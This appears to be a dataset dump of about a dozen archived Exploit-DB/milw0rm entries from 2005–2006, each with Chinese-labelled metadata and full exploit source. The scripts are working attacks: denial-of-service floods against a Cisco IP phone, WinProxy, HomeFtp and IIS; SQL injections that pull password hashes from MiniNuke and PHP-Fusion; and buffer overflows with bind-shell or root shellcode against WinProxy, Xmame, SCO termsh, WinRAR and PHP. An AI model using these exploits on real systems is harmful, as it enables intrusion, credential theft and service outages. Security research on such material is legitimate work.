QLWD/code_shield huggingface dataset:
标题: Cisco IP Phone 7940 - Reboot (Denial of Service) EDB-ID: 1411 CVE: 2006-0179 类型: DOS 平台: HARDWARE 发布日期: 2006-01-10 漏洞利用脚本: #!/usr/bin/perl
# This is made for trashing cisco 7940 ip phones. kokanin made/discovered this.
# A packetcount of 1000 and a packetdelay of 0.002 sent to port 80 makes my 
# phone reboot - play with the settings and stuff. PRIVATE PRIVATE PRIVATE!!!
# not private anymore. Vulnerable phones are running ver. 7.0(2.0) using the skinny
# protocol - this is not for the SIP firmware.

use Net::RawIP;
use Time::HiRes;
$pkt = new Net::RawIP;
die "Usage $0 <src> <dst> <target port> <number of pkts> <packet delay>" unless ($ARGV[4]);
$pkt->set({
        ip => {
                saddr => $ARGV[0],
                daddr => $ARGV[1] 
                },
        tcp=> { dest => $ARGV[2],
                syn => 1,
                seq => 0,
                ack => 0}
        });
for(1..$ARGV[3]){ $pkt->set({tcp=>{source=>int(rand(65535))}});Time::HiRes::sleep($ARGV[4]); $pkt->send; };

# milw0rm.com [2006-01-10] URL: https://www.exploit-db.com/exploits/1411
标题: MiniNuke 1.8.2 - 'hid' SQL Injection EDB-ID: 1419 CVE: 2006-0199 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-14 漏洞利用脚本: #!/usr/bin/perl

# MiniNuke (www.miniex.net) Version: <= 1.8.2  SQL-injection exploit.
# This exploit uses the vulnerability discovered by nukedx@nukedx.com.
# Exploit uses SQl-injection to give you the hash from user with chosen id.
# DetMyl, 2006 Detmyl@bk.ru 

use IO::Socket;

if (@ARGV < 3)
 {
 print q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 Usage: perl mini-nuke.pl [site] [dir] [useId] [proxy (optional)] 
 i.e. perl mini-nuke.pl "somesite.com" / 52 127.0.0.1:3128
 ++++++++++++++++++++++++++++++++++++++++++++++++++++
           );   
 exit;
 } 
$serv  = $ARGV[0];
$dir   = $ARGV[1];
$uid = $ARGV[2];
$proxy   = $ARGV[3];

print "----------------------------------\n";
if ( defined $proxy) {
 $proxy =~ s/(http:\/\/)//eg;
 ($proxyAddr,$proxyPort) = split(/:/, $proxy);
   }
$serv =~ s/(http:\/\/)//eg;
$request ="http://".$serv.$dir."news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=".$uid;
print "Connecting to: $serv...\n";
print $proxy?"Using proxy: $proxy \n":"";
$socket = IO::Socket::INET->new( Proto => "tcp",
     PeerAddr => $proxyAddr?"$proxyAddr":"$serv",
     PeerPort => $proxyPort?"$proxyPort":"80") 
     || die "can't connect to: $serv\n";
print $socket "GET $request HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
 while($answer = <$socket>) {
  if ($answer =~ /<b>([\d,a-f]{32})<\/b>/) { 
   print "+ Found! The hash for user $uid: $1\n";
   print "----------------------------------\n";
     exit(); }
  if ($answer =~ /number of columns/) { print "+ Vulnerable! But no result with default querry, so manually change the scrypt;-)...\n";exit(); }
 }
print "Exploit failed\n";
print "--------------------------\n";

# milw0rm.com [2006-01-14] URL: https://www.exploit-db.com/exploits/1419
标题: BlueCoat WinProxy 6.0 R1c - 'Host' Remote Stack Overflow (SEH) EDB-ID: 1408 CVE: 2005-4085 类型: REMOTE 平台: WINDOWS 发布日期: 2006-01-07 漏洞利用脚本: #!perl
#
# "WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit
#
# Author:  FistFucker (aka FistFuXXer)
# e-Mail:  FistFuXXer@gmx.de
#
#
# Advisory:
# http://www.idefense.com/intelligence/vulnerabilities/display.php?id=364
#
# CVE info:
# CAN-2005-4085
#

use IO::Socket;

#
# destination IP address
#
$ip = '127.0.0.1';

#
# destination TCP port
#
$port = 80;

#
# SE handler. 0x00, 0x0a, 0x0d free
#
$seh = reverse( "\x01\x03\x12\x40" );  # POP/POP/RET
                                       # PAVDLL.01031240

#
# JMP SHORT to shellcode. 0x00, 0x0a, 0x0d free
#
$jmp = "\x90\x90\xeb\x32";             # [NOP][NOP][JMP|JMP]

#
# 0x00, 0x0a, 0x0d free shellcode
#
# win32_bind -  EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
#
$sc = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26".
      "\x8c\x6d\xa3\x83\xeb\xfc\xe2\xf4\xda\xe6\x86\xee\xce\x75\x92\x5c".
      "\xd9\xec\xe6\xcf\x02\xa8\xe6\xe6\x1a\x07\x11\xa6\x5e\x8d\x82\x28".
      "\x69\x94\xe6\xfc\x06\x8d\x86\xea\xad\xb8\xe6\xa2\xc8\xbd\xad\x3a".
      "\x8a\x08\xad\xd7\x21\x4d\xa7\xae\x27\x4e\x86\x57\x1d\xd8\x49\x8b".
      "\x53\x69\xe6\xfc\x02\x8d\x86\xc5\xad\x80\x26\x28\x79\x90\x6c\x48".
      "\x25\xa0\xe6\x2a\x4a\xa8\x71\xc2\xe5\xbd\xb6\xc7\xad\xcf\x5d\x28".
      "\x66\x80\xe6\xd3\x3a\x21\xe6\xe3\x2e\xd2\x05\x2d\x68\x82\x81\xf3".
      "\xd9\x5a\x0b\xf0\x40\xe4\x5e\x91\x4e\xfb\x1e\x91\x79\xd8\x92\x73".
      "\x4e\x47\x80\x5f\x1d\xdc\x92\x75\x79\x05\x88\xc5\xa7\x61\x65\xa1".
      "\x73\xe6\x6f\x5c\xf6\xe4\xb4\xaa\xd3\x21\x3a\x5c\xf0\xdf\x3e\xf0".
      "\x75\xdf\x2e\xf0\x65\xdf\x92\x73\x40\xe4\x7c\xff\x40\xdf\xe4\x42".
      "\xb3\xe4\xc9\xb9\x56\x4b\x3a\x5c\xf0\xe6\x7d\xf2\x73\x73\xbd\xcb".
      "\x82\x21\x43\x4a\x71\x73\xbb\xf0\x73\x73\xbd\xcb\xc3\xc5\xeb\xea".
      "\x71\x73\xbb\xf3\x72\xd8\x38\x5c\xf6\x1f\x05\x44\x5f\x4a\x14\xf4".
      "\xd9\x5a\x38\x5c\xf6\xea\x07\xc7\x40\xe4\x0e\xce\xaf\x69\x07\xf3".
      "\x7f\xa5\xa1\x2a\xc1\xe6\x29\x2a\xc4\xbd\xad\x50\x8c\x72\x2f\x8e".
      "\xd8\xce\x41\x30\xab\xf6\x55\x08\x8d\x27\x05\xd1\xd8\x3f\x7b\x5c".
      "\x53\xc8\x92\x75\x7d\xdb\x3f\xf2\x77\xdd\x07\xa2\x77\xdd\x38\xf2".
      "\xd9\x5c\x05\x0e\xff\x89\xa3\xf0\xd9\x5a\x07\x5c\xd9\xbb\x92\x73".
      "\xad\xdb\x91\x20\xe2\xe8\x92\x75\x74\x73\xbd\xcb\x58\x54\x8f\xd0".
      "\x75\x73\xbb\x5c\xf6\x8c\x6d\xa3";


print '"WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit'."\n\n";

$sock = IO::Socket::INET->new
(

    PeerAddr => $ip,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 2

) or print '[-] Error: Could not establish a connection to the server!' and exit(1);

print "[+] Connected.\n";
print "[+] Trying to overwrite SE handler...\n";

$sock->send( "GET / HTTP/1.0\r\n" );
$sock->send( 'Host: 127.0.0.1:'. "\x90" x 23 . $jmp . $seh . "\x90" x 50 . $sc ."\r\n\r\n" );

print "[+] Done. Now check for bind shell on $ip:4444!";

close($sock);

# milw0rm.com [2006-01-07] URL: https://www.exploit-db.com/exploits/1408
标题: Xmame 0.102 - '-lang' Local Buffer Overflow EDB-ID: 1412 CVE: 2006-0176 类型: LOCAL 平台: LINUX 发布日期: 2006-01-10 漏洞利用脚本: #!/usr/bin/ruby

#
# One of the PoC code for xmame "-lang" options.
# Advisory is base on : http://kerneltrap.org/node/6055
#
# by xwings at mysec dot org
# url : http://www.mysec.org , new website

# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)
# xmame 0.102 , ./configure && make && make install
#


#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.
shellcode =     "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+
                "\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
                "\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+
                "\x31\xdb\xcd\x80"

vulnpath        = "/usr/games/xmame.x11"
argvopt         = "-lang"

ret = (0xbfffe8da) 
retadd  = ([ret].pack('V'))

nops    = ("\x90" * (1056 - (shellcode.length + retadd.length)))
buffer  = nops+shellcode+retadd

system(vulnpath,argvopt,buffer)

# milw0rm.com [2006-01-10] URL: https://www.exploit-db.com/exploits/1412
标题: BlueCoat WinProxy 6.0 R1c - GET Denial of Service EDB-ID: 1409 CVE: 2005-3187 类型: DOS 平台: WINDOWS 发布日期: 2006-01-07 漏洞利用脚本: #!perl
#
# "WinProxy 6.0 R1c" Remote DoS Exploit
#
# Author:  FistFucker
# e-Mail:  FistFuXXer@gmx.de
#
#
# Advisory:
# http://www.idefense.com/intelligence/vulnerabilities/display.php?id=363
#
# CVE info:
# CAN-2005-3187
#

use IO::Socket;

#
# destination IP address
#
$ip = '127.0.0.1';

#
# destination TCP port
#
$port = 80;


print '"WinProxy 6.0 R1c" Remote DoS Exploit'."\n\n";

$sock = IO::Socket::INET->new
(

    PeerAddr => $ip,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 2

) or print '[-] Error: Could not establish a connection to the server!' and exit(1);

print "[+] Connected.\n";

$sock->send('GET /'. 'A' x 32768 ." HTTP/1.1\r\n\r\n");

print "[+] DoS string has been sent.";

close($sock);

# milw0rm.com [2006-01-07] URL: https://www.exploit-db.com/exploits/1409
标题: HomeFtp 1.1 - 'NLST' Denial of Service EDB-ID: 1416 CVE: 2006-0355 类型: DOS 平台: WINDOWS 发布日期: 2006-01-14 漏洞利用脚本: /*
HomeFtp v1.1 Denial of Service
original advisory: http://kapda.ir/advisory-202.html
homeftp_v1.1_xpl.c
----------------------------------------
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0aNLST\x0d\x0a"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title:              \tHomeFTP <= v1.1 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT USERNAME PASSWORD\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21 anonymous none\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s;
 char *request;
 header();
 if( (argc < 5) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 sprintf(request,POCSTR,argv[3],argv[4]);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 if ( send ( s, request, strlen (request), 0) <= 0 )
 {
         printf("[e] Failed to send buffer\n");
         close(s);
         exit(1);
 }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}

// milw0rm.com [2006-01-14] URL: https://www.exploit-db.com/exploits/1416
标题: Xmame 0.102 - 'lang' Local Buffer Overflow EDB-ID: 1415 CVE: 2006-0176 类型: LOCAL 平台: LINUX 发布日期: 2006-01-13 漏洞利用脚本: /*
 Xmame 0.102 (-lang) Local Buffer Overflow Exploit
 Coded BY Qnix
   Qnix@bsdmail.org
   #0x11 @EFNET
   icq : 234263
   0x11.org
 Advisory : http://kerneltrap.org/node/6055

e.g: 

Qnix ~ # ./exploit /usr/games/bin/xmame.x11
**************************************************
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
**************************************************

        (~) Stack pointer (ESP) : 0xbffff688
        (~) Offset from ESP     : 0x0
        (~) Desired Return Addr : 0xbffff688

GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU    library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/xmame/rc/robbyrc
info: trying to parse: /root/.xmame/rc/robbyrc
sh-3.00#

*/

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 1057
#define NS 600

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
 int i, offset;
 long esp, ret, *addr_ptr;
 char *buffer, *ptr;

 offset = 0;
 esp = sp();
 ret = esp - offset;

 if(argc < 2 || argc != 2)
 {
  fprintf(stderr,"%s <xmam.x11>\n",argv[0]);
  return(0);
 }

 fprintf(stdout,"**************************************************\n");
 fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploit\n");
 fprintf(stdout,"Coded BY Qnix\n");
 fprintf(stdout,"**************************************************\n\n");
 fprintf(stdout,"\t(~) Stack pointer (ESP) : 0x%x\n", esp);
 fprintf(stdout,"\t(~) Offset from ESP     : 0x%x\n", offset);
 fprintf(stdout,"\t(~) Desired Return Addr : 0x%x\n\n", ret);

 buffer = malloc(BUFSIZE);

 ptr = buffer;
 addr_ptr = (long *) ptr;
 for(i=0; i < BUFSIZE; i+=4)
 { *(addr_ptr++) = ret; }

 for(i=0; i < NS; i++)
 { buffer[i] = '\x90'; }

 ptr = buffer + NS;
 for(i=0; i < strlen(shellcode); i++)
 { *(ptr++) = shellcode[i]; }

 buffer[BUFSIZE-1] = 0;

 execl(argv[1], "xmame.x11", "-lang", buffer, 0);

 free(buffer);

 return(0);

}

// milw0rm.com [2006-01-13] URL: https://www.exploit-db.com/exploits/1415
标题: SCO OpenServer 5.0.7 - 'termsh' Local Privilege Escalation EDB-ID: 1402 CVE: 2006-0072 类型: LOCAL 平台: SCO 发布日期: 2006-01-03 漏洞利用脚本: /* SCO Openserver 5.0.7 termsh exploit
 * ===================================
 * 'termsh' is a program to view or modify an existing terminal entry on
 * SCO Openserver. A stack based overflow exists in the handling of command
 * line arguements, namely the [-o oadir] arguement. It is installed setgid
 * auth in a default SCO Openserver 5.0.7 install. An attacker may use this
 * flaw to gain write access to /etc/passwd or /etc/shadow  allowing for
 * local root compromise.
 *
 * Example use.
 * $ id
 * uid=200(user) gid=50(group) groups=50(group)
 * $ uname -a
 * SCO_SV scosysv 3.2 5.0.7 i386
 * $ gcc prdelka-vs-SCO-termshx.c -o prdelka-vs-SCO-termshx
 * $ ./prdelka-vs-SCO-termshx /opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh
 * [ SCO Openserver 5.0.7 termsh local privilege escalation exploit
 * $ id
 * uid=200(user) gid=50(group) egid=21(auth) groups=50(group)
 *
 * - prdelka
 */
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x68\xff\xf8\xff\x3c\x6a\x65\x89"
                 "\xe6\xf7\x56\x04\xf6\x16\x31\xc0"
                 "\x50\x68""/ksh""\x68""/bin""\x89"
                 "\xe3\x50\x50\x53\xb0\x3b\xff\xd6";

int main(int argc,char* argv[])
{
        char* buffer;
        char* arg = "-o";
        char *env[] = {"HISTORY=/dev/null",NULL};
        long eip,ptr;
        int i;
        printf("[ SCO Openserver 5.0.7 termsh local privilege escalation exploit\n");
        if(argc < 2)
        {
                printf("[ Error  : [path]\n[ Example: %s /opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh\n",argv[0]);
                exit(0);
        }
        eip = 0xa2080853;
        buffer = malloc(7449 + strlen(shellcode));
        memset(buffer,'\x00',7449 + strlen(shellcode));
        ptr = (long)buffer + strlen(shellcode);
        strncpy(buffer,shellcode,strlen(shellcode));
        for(i = 1;i <= 1862;i++)
        {
                memcpy((char*)ptr,(char*)&eip,4);
                ptr = ptr + 4;
        }
        execle(argv[1],argv[1],arg,buffer,NULL,env);
        exit(0);
}

// milw0rm.com [2006-01-03] URL: https://www.exploit-db.com/exploits/1402
标题: WinRAR 3.30 - 'Filename' Local Buffer Overflow (1) EDB-ID: 1403 CVE: 2005-4620 类型: LOCAL 平台: WINDOWS 发布日期: 2006-01-04 漏洞利用脚本: /* WinRAR Buffer Overflow 3.30 Exploit
*
* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team
* Exploit made by: K4P0
* Contact: k4p0k4p0@hotmail.com
*/

#include <stdio.h>
#include <windows.h>

int main(void)
{
   char EvilBuff[1024];

   // Normal cmd.exe shellcode.
   char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
           "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6"
        "\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
                      "\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";

   char jmpesp_offset[] = "\x0F\x98\xF8\x77";
   char Prog[1024] = "WinRAR ";

   printf("WinRAR Buffer Overflow 3.30 Exploit\n\n");
   printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Team\n");
   printf("Exploit made by: K4P0\n");
   memset(EvilBuff, 0x00, 1024);
   memset(EvilBuff, 0x41, 510);
   strncat(EvilBuff, jmpesp_offset, 1024);
   strncat(EvilBuff, shellcode, 1024);
   strncat(Prog, EvilBuff, 1024);
   printf("\nExploiting...\n");
   system(Prog);
   return 0;
}

// milw0rm.com [2006-01-04] URL: https://www.exploit-db.com/exploits/1403
标题: PHP 4.4.0 - 'mysql_connect function' Local Buffer Overflow EDB-ID: 1406 CVE: 2006-0097 类型: LOCAL 平台: WINDOWS 发布日期: 2006-01-05 漏洞利用脚本: <?php

/*
This exploit was designed to work with PHP versions 4.3.10 and
4.4.0 under Windows XP SP 1. If another operating system is used,
the replacement EIP must be changed.

The replacement EIP is written 261 bytes into our string. For this
exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.

The replacement ESI is simply the base of the PHP image. Locations
after this address will be overwritten with some internal data.

Our shellcode is written into the $user variable. $two is used to
prevent $user from being truncated with a MySQL error message.

Cut from advisory (untested) /str0ke
*/

//Exploit for
// Apache/1.3.33
// PHP/4.4.0
//Windows only

$eip = "71AB5651";  //EIP - CALL ESI from Winsock 2.0 ws2_32.dll v5.1.2600.0
$esi = "10000000";  //ESI - Temporary. The memory under this location will be trashed.

//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode = pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd66a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0");

//Endian conversion
$eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($eip, 2, 2) . substr($eip, 0, 2);
$esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2);

$overflowstring = "localhost:/";
$overflowstring .= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$overflowstring .= pack("H*",$eip); //EIP
$overflowstring .= pack("H*",$esi); //ESI
$overflowstring .= "/";

//If we don't define this, our shellcode gets truncated
$two = "AAAAAAAAAA";

mysql_connect($overflowstring, $shellcode);

?>

# milw0rm.com [2006-01-05] URL: https://www.exploit-db.com/exploits/1406
标题: PHP-Fusion 6.00.3 - 'rating' SQL Injection EDB-ID: 1385 CVE: 2005-4517 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-23 漏洞利用脚本: #!/usr/bin/perl
#Exploit for PHP-Fusion 6.00.3 Released
#Coded by:krasza[krasza@gmail.com]
#Greetz: http://www.curityreason.com
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
if(!$ARGV[3]){
print<<EOF;
Exploit for PHP-Fusion 6.00.3 Released
Coded by krasza
Contact me:krasza\@gmail.com
Greets:
-http://www.ecurityreason.com
-http://www.revival.pl
-mulander

Usage:
perl phpfusion.pl url login pass sql
url-url hack site with [php fusion's directory]
login-your login
pass-your password
sql-[sql code]
Example:
\t perl phpfusion.pl http://www.something.com/php-fusion admin password 3','31337','HACKED')/*
EOF
exit;
}
my $url=shift;
my $login=shift;
my $haslo=shift;
my $sql=shift;
$url=$url."/news.php?readmore=1";
my $ua = new LWP::UserAgent;
$ua->agent("Exploit for PHP-Fusion" . $ua->agent);
$ua->cookie_jar( HTTP::Cookies->new(
'file' => 'ciasteczka.txt',
'autosave' => 1,));
print "[+]Connecting to $url...\n";

my $zadanie = new HTTP::Request POST => $url;
$zadanie->content_type('application/x-www-form-urlencoded');
$zadanie->content('user_name=' . $login . '&user_pass=' . $haslo . '&login=Loguj'
);
my $wynik = $ua->request($zadanie);
if ($wynik->is_success){
print "[+]Connected to $url\n";
#LOGIN JEST PRAWIDLOWE
}else{
print "[-]Connected failed to $url\n";
print "[-]Error:".$wynik->message."\n";
exit;
}
print "[+] Logging In $url...\n";
$zadanie = new HTTP::Request POST => $url;
$zadanie->content_type('application/x-www-form-urlencoded');
$zadanie->content('rating='.$sql.'&post_rating=Dodaj+ocen%EA');
my $wynik2 = $ua->request($zadanie);
if ($wynik2->is_success){
print "[+] Sql query isn't done!\n";
}else{
print "[-]Sql query is done\n";
}

# milw0rm.com [2005-12-23] URL: https://www.exploit-db.com/exploits/1385
标题: Microsoft IIS - HTTP Request Denial of Service (2) EDB-ID: 1377 CVE: 2005-4360 类型: DOS 平台: WINDOWS 发布日期: 2005-12-19 漏洞利用脚本: #!/usr/bin/perl
# _really_ bored kokanin / IIS 5.1 dos thing, Inge says to use a browser at 
# http://ingehenriksen.blogspot.com/2005/12/microsoft-iis-remote-dos-dll-url.html
# kokanin not like puny browser!!"#1 I hoped Inge was a leet haxx0r ch1ck, but it's
# apparently a dude, bummer. According to Inge passing a kinda malformed url to
# an executable dir a few times makes inetinfo.exe crap out. Yum, monday. This
# script has insanely elite randomization of the url, it even amazes me.
# Hello ilja, ptp people, others, see you at ccc and stuff.

# sample executable dirs: /_vti_bin/ /_sharepoint/ /scripts/ /cgi-bin/ /msadc/ /iisadmpwd/
# sample malformed url: http://www.example.xom/_vti_bin/.dll/*\~0
# sample run: ./this-crap.pl <www.host.bla> </executable_folder/> <count> 
# count should be 4 according to inge, do more!!!!1one MILLIONS I SAY!!! 

use List::Util 'shuffle';
use IO::Socket::INET;

$target = shift;
$folder = shift;
$amount = shift;

# main iteration thingie
for(1..$amount){
# construct an array of the reportedly bad characters
for(1..31){ @badchars[$_] = chr($_); }
# append the rest of them
@badchars = (@badchars,"?","\"","*",":","<",">");
# shuffle the array so @shuffled[0] is random 
@shuffled = shuffle(@badchars); 
# this is the request
$malformed = $folder . ".dll/" . @shuffled[0] . "/~" . int rand(9);
# this is informative text
print "[$_]\t greeting $target with: " . $malformed . "\n";
# create the socket
$socket = new IO::Socket::INET(
Proto    => "tcp",
PeerAddr => $target,
PeerPort => "80",
);
# error reporting
die "unable to connect to $target ($!) - omgomgwtf itz dead w00t w00t \n" unless $socket;
# the actual data transmission
print $socket "GET " . $malformed . " HTTP/1.0\r\n" . "Host: $target\r\n" . "\r\n\r\n";
# all done
close $socket;
}

# milw0rm.com [2005-12-19] URL: https://www.exploit-db.com/exploits/1377